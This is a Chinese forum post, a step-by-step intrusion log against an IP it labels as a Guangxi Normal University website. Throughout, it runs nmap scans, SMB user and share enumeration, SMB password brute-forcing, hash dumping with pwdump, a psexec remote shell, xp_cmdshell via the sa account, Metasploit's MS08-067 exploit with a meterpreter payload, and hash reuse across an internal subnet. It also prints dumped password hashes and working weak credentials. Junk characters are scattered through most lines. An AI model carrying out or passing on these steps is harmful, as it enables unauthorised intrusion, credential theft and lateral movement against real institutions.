广西师范网站http://202.103.242.241/1 V! V: J4 q% l* |
+ @* ]; l& F% H. b5 j
root@bt:~# nmap -sS -sV 202.103.242.241" y+ H& B7 s) m; K
- S) C3 N. d, @& S0 h O
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
, R4 \% X/ m: w4 N2 t. J9 T& U- t5 }
Nmap scan report for bogon (202.103.242.241)6 y+ M! y0 u7 h0 K* F$ Q0 @
- f( y1 R8 a7 }; l: {. c7 iHost is up (0.00048s latency).: m# `" p! p4 x1 b6 N6 ?+ y
4 U {( e3 Y: l9 l0 O6 A9 mNot shown: 993 closed ports
+ p1 A5 Q* p1 r; k6 J( u4 i) r ?6 ?3 R e" y/ r
PORT STATE SERVICE VERSION* i) Z8 S0 `+ i/ p
% P' s5 I! t6 N2 p% `6 B4 s
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)+ D; K. _" b$ P8 z$ T3 v& j$ d6 P
8 i9 w, J, [* Z* X2 T9 Z
139/tcp open netbios-ssn) i6 ~& I6 u! m3 _
2 D8 A2 \1 I: u5 [& i& A& }445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds3 Z, x4 b5 c7 D0 ^0 Y& ?
0 `) q: X! \9 U2 p( Y
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
. K% z2 k/ a* k" V0 i; M9 r3 q
( N; f: p# o n: X3 C+ F1026/tcp open msrpc Microsoft Windows RPC. K" U! e0 M8 r% U; K, ^) W
8 m# T# S& R* N" W L6 a& s3372/tcp open msdtc?- X/ n9 k6 r% R8 O$ H& h+ R
) V3 ?7 d9 L: b8 d) [0 l6 c1 `8 v3389/tcp open ms-term-serv?: }* [, v+ C$ f6 r% O) o" [9 X
4 K1 W7 D0 T7 `3 Z" A8 l2 f
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
4 u5 _( ^7 B& U/ L7 L# \* w; A& _5 B6 iSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r
( }8 m- a1 E9 }- J+ C" n! A' e
: k/ v8 g! B6 ` u9 j( sSF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions# Z7 {' h: p6 k# l
/ A4 n' p: m" ^! A; r
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
& I1 L. S; @( _9 R' ]* n$ l( p
3 g" F/ E i# d" lSF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
; `2 _% r" X. _. S" J0 P1 F6 [8 Z0 b+ y2 ^$ F$ g
SF:ptions,6,”hO\n\x000Z”);8 u0 }1 z% ~2 U' ?$ N9 w4 S7 M
) l& d9 d& i2 M6 |9 l* p$ f" `MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)
& i1 B& `- q! } n* ^) Q7 x$ u3 v! Y1 f2 L0 ~5 K5 P
Service Info: OS: Windows/ Y$ R# o a' y1 R, y& N
0 X, \3 f+ g3 oService detection performed. Please report any incorrect results at http://nmap.org/submit/ ., A' e( s; R) y5 T& A- r
0 L4 o, H( d8 J& t+ \3 Z
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds( Z: Y# W" b+ ^* u3 O
4 e* r" \- B. N
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本 m: b3 B! K9 Q2 u2 o
* C9 C! S$ T6 k8 l" A, y-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
7 Y5 Y7 _6 E% U) G% o+ Z; D- C
; f$ c. h0 y! J8 M9 m" j; ~-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
- N! S$ t2 l9 O. p9 x/ `) N
1 ` u0 s) l6 ?-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
* b6 b% w# B* L2 z, f: K0 U3 T( m9 m
-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
7 [! i6 w$ _9 G( E+ y
0 s% N( d! b& Z7 U' m, J, S-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
' }4 N- w. V' n7 e" n1 F1 l+ Y# `, i0 x
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
- H, |7 S3 y# K2 A
% h1 {# k9 Q+ S' Z. ^ j( C7 l-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse% J9 R, y0 Z( [7 O: Q% G0 I
) N4 }1 D" F/ b* {
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
% E N8 `: w: ^3 _" v5 q/ |( b; C' e
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse9 ]8 F* G4 @1 A' o% f9 ?
4 B7 g2 Z$ K2 t. t" C& Z
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
, h9 d. t) k% h+ Y! ~
0 x3 m2 z3 ^2 a-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
) x9 {! _' k" Z) o0 X9 _' J5 a- z9 M6 w5 R9 C
-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse
4 V: ^: z7 p9 g; S- J7 Y M/ l
- F: p; R- x5 I0 \6 G0 {2 s-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse
, b/ w% t* m. f: {1 L/ I, y$ K, w6 o+ C, x# e8 b5 k
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse" K; Z% T" K$ {% D- H9 `
' G( Y. h8 ]: m6 Z o
-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
' t- x9 g- Q: ?/ z# x
% F [7 ^9 `4 k' r( iroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241 + @( L% T5 U: I+ s, q c
9 _) r1 j1 e* R1 I0 G//此乃使用脚本扫描远程机器所存在的账户名3 c6 o, N/ g) d- L0 `
! S6 w+ l9 Z0 v0 e( W
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST" k& }$ t; j# [) I, R9 F6 @
7 _5 ^# C8 @. e" a6 H% |* o# n
Nmap scan report for bogon (202.103.242.241)
, O/ _+ h0 X! E3 {9 R# s$ ?9 s( a5 j, T) i* {6 f+ N7 k
Host is up (0.00038s latency).
+ P" Q$ L- A+ J( x* L& n+ F% D! @( u+ G. E- c
Not shown: 993 closed ports- l0 \$ x- j" b# X+ \+ _% _
5 }, w! |) F+ E% w# X" C- ^PORT STATE SERVICE
P4 v4 l/ c* \1 a
; Z% _. M; P) j3 G% a( c135/tcp open msrpc
- p6 w' A* K: G$ T9 ` P% F" h
/ Q1 _' R I/ D# U139/tcp open netbios-ssn1 T' @1 S3 N+ V( i4 z
# ], ?+ Q, [) C# W+ \* _ h445/tcp open microsoft-ds
( j- a9 i8 D5 `# V) |/ _
% |4 ^9 Z4 @8 T& } l8 d, y0 I1025/tcp open NFS-or-IIS
8 O) u5 Q! d9 G( h( U9 ^$ i
* ^( Z9 e' Q& W2 f& J; y1026/tcp open LSA-or-nterm
. P* W2 o5 j5 m6 E2 B, J, q, A; z9 ?0 Q7 Q( i9 T
3372/tcp open msdtc
& b9 W; G3 ` w2 J' d8 P9 x4 z8 o
) o+ P- N8 X9 a, ?( x4 v3389/tcp open ms-term-serv+ A; z+ h A6 r1 x- z
( Z+ a6 e- a3 F, D; @
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)0 n: b8 Z. l- T3 J0 d
0 f v0 j& q" A" Y/ p U/ A+ t
Host script results:1 D( v9 |2 v# W7 {
3 W% W5 U8 z% b+ c! A+ ], n/ A$ i* d$ f, d| smb-enum-users:0 {+ G1 P6 T2 |5 f3 }1 v8 ~6 `1 w
( S" F, c7 ?. \) ]5 `% p6 n|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
' U% ^* b. o8 v) S+ J9 d
- i0 \) g% r M! P5 t5 e" iNmap done: 1 IP address (1 host up) scanned in 1.09 seconds, y4 D* g9 _, S$ h! s/ Q
% z) T9 w# H8 O+ P$ S/ h3 t3 o5 H
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
+ F4 [; U! p/ q# C) T, X2 f( w4 a
1 e, x3 p- }! Q; z- i% s//查看共享+ @3 I9 D+ w# F) P9 I
/ n6 V3 `4 c4 N9 W" w& I N& KStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST- ^# ~. b0 }6 [& Z( K1 h7 \8 x+ @! E
; v6 O1 N3 \6 b7 r+ R4 @Nmap scan report for bogon (202.103.242.241)
5 b1 I; y% c. ?& _
, S5 \9 a' D) I: T, l" F& vHost is up (0.00035s latency).
% x- N6 ^% V1 {) w; a+ g3 q9 Z0 B: \7 m3 x8 Y' h
Not shown: 993 closed ports) h [" N& \9 o/ e
+ @1 k# n5 n% ~0 a e7 H! N/ G, OPORT STATE SERVICE
( ?' n1 r2 u0 G& E% k% |
% D9 [0 q1 O3 V; Z! c" g% {135/tcp open msrpc) z7 K* u3 Z( x7 _. _+ i& \
$ W- |+ ^/ @* d4 e0 b5 x
139/tcp open netbios-ssn
1 u+ W2 W8 c. n
" @( {& |9 s8 y1 y445/tcp open microsoft-ds
1 D2 K# j7 O# z7 L# q/ i2 |: X {8 K& b1 V; _0 P; e2 v
1025/tcp open NFS-or-IIS
6 ^5 [( C( ^8 `5 E: v6 U3 r8 s2 I% G! ?7 ?0 l; j
1026/tcp open LSA-or-nterm Q, a) e a* F" N' ^ o# {6 b
! ]7 d# t C$ }" g6 A% u: l2 \' ]3372/tcp open msdtc6 x% e6 N5 i% c. V, `- W; i9 l) E
/ Q9 I* i5 _+ q* d: `: ~) k
3389/tcp open ms-term-serv0 E* o" v" c* g C; k+ m$ Y
2 H# o" O2 q" i) D* xMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)! [) z9 [) m3 W2 t( M4 z, P
9 u" |5 X$ `/ h5 o8 k# I. l0 h: N3 B
Host script results:0 q# S/ @: ?, b4 ~
2 g& C: ~. w2 B: s- d9 v| smb-enum-shares:
) a6 F( b3 o+ {: u1 U
+ v9 b) P. |* a1 [, z+ c: F| ADMIN$
3 r# q% _0 Y' L' F: I) @! ^8 V$ _; L" `+ p' e. k+ g& Z5 o
| Anonymous access: <none>
) y7 v- A# f8 n" L$ d
' q# h7 }: h6 W' H& X! |4 ?) p( u| C$* ?1 R! T5 I% R6 M5 z! w( W* O
! Y. b U* i, K r| Anonymous access: <none>
0 h, l1 `& H8 U: C
; r/ g5 d$ t: y| IPC$
( f/ B3 A* S$ J% ]5 ]
- P, ^* o* R K" O|_ Anonymous access: READ
/ p3 M5 K* I" N f4 h& n: I
v7 P+ S. p& x5 |$ {Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds+ S9 q0 p, l7 P3 q
& L, W4 F0 ?2 y+ D) Y) y* b ^) broot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241 2 P* i/ O# `' n9 S3 {
# X* N' Q( }- R2 K$ y: i2 |
//获取用户密码
4 N! V- |0 z, B( ~( |. A8 S
; Z4 M* x) \' D. b$ ^! u/ W5 gStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST) H( f2 G$ T8 j
4 \4 d f* j( G; Y+ I! f* J
Nmap scan report for bogon (202.103.242.2418)
, E m0 x5 ^) J1 ?7 ^) z/ W# M% P n3 \& F$ r
Host is up (0.00041s latency)., @; J* V Z; U. q: J& ~
& W8 M, V; M/ w% ~9 L d: H) j
Not shown: 993 closed ports
_) R$ o0 E9 S
1 P4 G$ B L8 `( e& A+ b/ ]PORT STATE SERVICE
5 h% H" j, B/ K/ ^# D! U8 h" Q
' Z9 z( B/ L1 M7 y0 K135/tcp open msrpc1 Z; J% Q$ o" `5 M) h
) X) o8 e# s; z139/tcp open netbios-ssn! Y. J7 u. j# C8 g
9 W2 k# [5 [5 ^2 q' C4 N
445/tcp open microsoft-ds
. A7 q+ r; L4 {) X9 _. E2 K% ?4 t6 h/ E3 O
1025/tcp open NFS-or-IIS) a6 n* V) f9 L3 s8 N! G+ F
0 d) O* o5 ~( A5 ]: K5 d& K
1026/tcp open LSA-or-nterm
' f+ C& J) h4 @* v1 C
/ G+ B* w: S8 l7 I# ~& N3372/tcp open msdtc
+ z0 y) U2 U0 U0 @/ N6 `; L6 Y
8 W& z# b6 c u8 `1 x2 H3389/tcp open ms-term-serv' j6 C1 k" r7 [! o5 a) f( U
$ s. _% J. x3 W5 C2 y! W3 |7 h
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)# j) ^# S3 e6 `, @0 P p; |
9 m: D- Z/ k; q" v( V0 S' `Host script results:& N/ H- ^9 ?' ?: n; d2 y
- a- `6 _" t& |2 S& e' o" U* _' P| smb-brute: V# Z1 s3 ^2 F% X5 T
& S0 i' _0 q( v- t. d& y2 m1 E5 r
administrator:<blank> => Login was successful4 n8 m* w0 y5 P, @
( c# j4 y7 o# \' H' A! _: h& D# I|_ test:123456 => Login was successful
4 q7 `0 P" r# S) B* R3 t3 G! @6 F4 n$ W5 s, |) @) x) i z! Y
Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds
0 S( E1 |: I0 b6 t1 t7 ~
4 @6 c% F$ Y; T, Jroot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash ?5 m- n5 @8 K5 [' n+ O. v
3 p, D+ t3 V0 G# |1 m6 G: lroot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data8 z. K: @: O4 M5 s5 Y4 k. T
# [/ I7 g6 {, `0 ?+ R7 ^3 y, wroot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
% W; _, R6 j8 B7 {" D" h
8 W' Q5 o, y8 k: M6 B3 {, ^$ k. Lroot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139! y7 W3 R% }$ C/ y& G
$ }2 O+ t3 m) T: `Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
7 s+ b$ [1 {2 |6 p; B. g, O" _* K( U/ C' s9 P7 `, d( M
Nmap scan report for bogon (202.103.242.241)
( u( x9 T" I" b3 L
) ~, k1 G: V9 S- @) @" mHost is up (0.0012s latency).! R& h9 T. f4 k6 {( J6 h
0 g0 [9 S# |& @- [. N$ gPORT STATE SERVICE8 O4 B" i! o* v# K4 x; G
' ]' D3 W. }+ h- h) ] v135/tcp open msrpc. h# h( M3 H7 E6 |1 Q4 w
& Y3 ^/ d/ L* E( h( }/ d
139/tcp open netbios-ssn
% @2 m( q& l2 g
+ [4 l, n* U4 R8 }7 w6 d445/tcp open microsoft-ds3 ?$ |8 Q1 j2 g) d
5 F/ H5 t3 T/ mMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)+ v# u( C$ I- p; E* p+ l
7 A7 K* ^+ @" E+ q. Q
Host script results:
9 I( A/ Y& Z$ j! I
~ W2 {0 U4 M' p) n| smb-pwdump:5 l+ U. T( [9 }3 e6 H
" a1 m4 O! Q- }) t
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************8 t) _6 j% _2 ]* H8 E
8 H7 x* O3 `2 q* j" |$ G5 w
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************8 L* |, a1 {* b) k+ s
+ _, U4 [5 Z" J9 B2 b' T
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D46 k4 C; ]$ H5 }% G2 m8 l1 x U
4 m }9 G% ~5 h3 o" z5 w% j" J4 p
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
2 S- B6 u! _% }% P' y: L
& G5 ] {4 D7 hNmap done: 1 IP address (1 host up) scanned in 1.85 seconds
. R D( j% d b" m: x- O
: T/ z+ F) Z% X$ G2 a9 Z, e: FC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell
' j& k8 l3 W6 L$ L9 b$ \: a- N8 {/ ^- O- U. u$ {, f% x1 j
-p 123456 -e cmd.exe
3 t7 W. D, i9 |8 [; y$ t+ ~' P9 h1 O6 J5 z1 o% m0 U7 S9 p
PsExec v1.55 – Execute processes remotely" g" ~% P! B3 z3 @; y
1 \7 X/ z2 I! w- Q2 J) `Copyright (C) 2001-2004 Mark Russinovich8 Z9 s2 w' z( U" \% e; V* g
+ O0 p0 e y5 P
Sysinternals – www.sysinternals.com, ^5 z* A1 r: E" B" {) l
; _+ y8 ]) I B3 HMicrosoft Windows 2000 [Version 5.00.2195]
1 C# `* S# t; i! y& e8 i7 E5 S- N- p& F( J$ v8 j
(C) 版权所有 1985-2000 Microsoft Corp.0 f2 `; [+ p6 n5 x* G
0 I0 w q: f+ x" XC:\WINNT\system32>ipconfig- c$ G5 N5 n/ H: K+ z. ^' W9 d2 R
3 Y% Q1 Q6 k! \- V9 t5 C
Windows 2000 IP Configuration6 |1 h) o: v! m+ {% i1 S
$ R! i8 }8 ?5 z1 H$ J# z+ c
Ethernet adapter 本地连接:
! U6 Y+ b; o5 C
- I0 b$ L( o, ^9 ]Connection-specific DNS Suffix . :
& m) a1 s; a( p' L* m
, T0 ?; \# B, ~# [- V$ j4 L& \IP Address. . . . . . . . . . . . : 202.103.242.241
$ t: f' V7 c- q- I% L( X) z3 N
# ?- ]0 n# u! \* L% t8 T# v9 g( Z ?Subnet Mask . . . . . . . . . . . : 255.255.255.0
]) y* n2 Y2 U- E: _) G6 |$ h) Y9 }* m% m& l
Default Gateway . . . . . . . . . : 202.103.1.14 `8 C' P9 o6 P4 t9 B( P$ X; G
! N M7 N/ m9 U1 TC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令/ K# u# J5 ], K* d$ ^
: \) I9 K: B% _4 |root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞% @9 ~5 c+ P* I& E# T) s/ t
' i5 q# g6 z0 u2 h0 R
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
- C& {! ~4 s$ x8 j) V7 v8 D( ?, a0 S9 t
Nmap scan report for bogon (202.103.242.241)
4 _( M, f3 T3 s1 u
; J7 s, t" v" I' m7 N! J4 VHost is up (0.00046s latency).
7 f4 M5 _1 T, f' ]" A$ ~' H0 ^$ K% J6 U1 A u
Not shown: 993 closed ports1 {) L& j- O9 n" A. |
' N) w# I) ~" a; W: V! Q7 E
PORT STATE SERVICE5 z: Q& H$ e2 c$ y
3 `% ?$ w5 g$ |% ?* ]" _135/tcp open msrpc
% G' d1 k: }' e. H! Y( K5 x* U2 @
139/tcp open netbios-ssn2 G r. J* }# O
+ v0 @2 K4 y; X5 W' B445/tcp open microsoft-ds
1 d3 Y0 j% ]; i' L# f; z& m$ C# ?; o3 a* {+ y2 f: \1 p5 a( |
1025/tcp open NFS-or-IIS# ~( W* q% l$ E
7 R' Z, T3 K# B% G0 M2 _: i* ~
1026/tcp open LSA-or-nterm: \% A/ ~+ r* p& g1 B( d. V
, q5 f3 t" ?5 m8 Y2 H$ P4 B) n( C3372/tcp open msdtc
) ]3 d& s R# N& p: E; {, r6 |- h M- ~# L' m3 K& \( `
3389/tcp open ms-term-serv, { u, W% C) Y- ~4 F; l0 @
2 B. V# U, j6 O: C$ P/ v3 I8 K9 _MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)) H1 q2 [% T+ V8 V6 x' t' o
! d, B* M. c( T2 VHost script results:
/ ?/ g, D# B; T# z' z7 ]
! Q; W* c, x: Q5 ]; b4 B| smb-check-vulns:
, D" n3 s% u2 n# R: Y \1 X" p5 e$ f' v2 V
|_ MS08-067: VULNERABLE3 Z. [. ]6 a" i: z' a
& `6 W3 b* c! A% N" v0 k
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
5 @- x2 |# d! B2 a: m. P) ?6 c8 Z, {$ l( s) Z- s
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
0 H O: K& r6 Q9 b: A. _' p, R9 p1 i) t; v8 u- O, K! _ r8 K& o1 F
msf > search ms08; u# ], T0 d5 J+ U) x; q2 ?
: Q9 c4 z) k8 C1 v. Y' V
msf > use exploit/windows/smb/ms08_067_netapi) k _3 p$ l: {
: }( Q; S: p* D/ N/ q- y/ \+ ]
msf exploit(ms08_067_netapi) > show options6 _: T, h/ x4 j8 V6 a* ~( Z
: F) p( e; E! S: f7 R. h, m! Nmsf exploit(ms08_067_netapi) > set RHOST 202.103.242.241; h2 G/ t. P- T
& H" I n/ V4 B- B% nmsf exploit(ms08_067_netapi) > show payloads3 G# U8 x9 n7 V& p5 @* C0 g5 m& U
( A2 a# ]4 y0 k2 M
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp: R( G- K! A" O( @
) f4 W! J: G: q2 _4 O, F
msf exploit(ms08_067_netapi) > exploit
% D. `2 ^9 R8 d- f3 v3 N( s
2 T. K Y! f# y, |: ]8 [meterpreter >3 D( u# z7 {/ R+ v8 M! M* \
5 E/ k2 Q* ?' Y, X8 WBackground session 2? [y/N] (ctrl+z)
! \: w% K. f5 B9 X
7 g6 A# y8 x% q6 t8 V: Gmsf exploit(ms08_067_netapi) > sessions -l" y3 y6 y/ Q6 F( E
% e, C% {: M9 t r9 j
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt
1 G# c. z) h0 Z2 f/ h
+ L, s+ Y4 _- Y" V5 \1 g0 e4 B& e- Itest
6 R0 T1 u/ a" d. T
# S, J* i2 `2 C) x* wadministrator
" c3 p8 Q. ~- ^- [8 \: @% o' p+ c/ U3 s! e% f
root@bt:/usr/local/share/nmap/scripts# vim password.txt9 t, T( G4 `) l$ @- B0 g/ G
4 j$ d0 L# t: b) W9 Z
44EFCE164AB921CAAAD3B435B51404EE
. }% O8 p8 g+ S- `( ^9 K+ Z" _# B9 R* J) | m# |
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
# H0 L$ k, @& u8 M/ e
0 }! f* w5 m0 ~9 |% w //利用用户名跟获取的hash尝试对整段内网进行登录
; m& }3 p3 q# j C% L4 p) P
8 q2 F5 W0 j) u3 CNmap scan report for 192.168.1.105( f+ P# q5 U1 p
2 C: @, K% _/ s U* A6 j& L8 {
Host is up (0.00088s latency).
# t2 n* A: h9 ^* m7 x" ~; G8 A* `' X' d! D8 g6 Z
Not shown: 993 closed ports
7 W7 F! j: H% k9 p# D
; ]+ [. d7 b! j* C& ?PORT STATE SERVICE
; M! M! J) P+ c8 ?9 l! d$ E" g+ r+ @: R/ o
135/tcp open msrpc: m( x( Y) R6 e$ q( r5 G
. k' C: n6 j: g. c
139/tcp open netbios-ssn
" `) |4 C8 T/ D0 |9 [6 @$ k9 J" l6 g: c; f2 k3 s& V) q* g
445/tcp open microsoft-ds7 a) C i, U' z
3 S. \1 ~. e1 t- V$ B% ?/ f3 Q& {
1025/tcp open NFS-or-IIS6 d! {& P- ?" b- K& C
2 n! {* O% X1 w6 R8 ^+ P- f2 k
1026/tcp open LSA-or-nterm
. ^& m) V0 r1 G. P: V; [$ `, v" e/ e5 b1 k0 j1 n# K5 H' T3 h( a
3372/tcp open msdtc
5 f5 r1 `* z' A& i2 Q+ {& Q9 L& O# l# ^2 H
3389/tcp open ms-term-serv
0 S: P, m3 y' o. l/ W9 Q" o* M9 m( r+ }( T# p5 r$ \
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
) }# x' J. g5 @* d: B. m2 `( h2 B. m
8 I6 R( `" j4 X. Z3 a0 X2 g. i4 aHost script results:# I$ [4 {$ N2 J( L
7 b8 G& J7 `) i3 F| smb-brute:/ b g; Q9 A2 J2 O' s, x1 |
: z9 W+ i1 x3 t% ~
|_ administrator:<blank> => Login was successful
# b2 G& ~0 l: F8 w2 |5 F" u8 D- e
攻击成功，一个简单的msf+nmap攻击~~·
- i I! Z$ \. T$ G T, x- D+ @! G8 g( T) V+ K1 u' Z
|
发表于 2012-12-4 12:46:42
收藏
支持
反对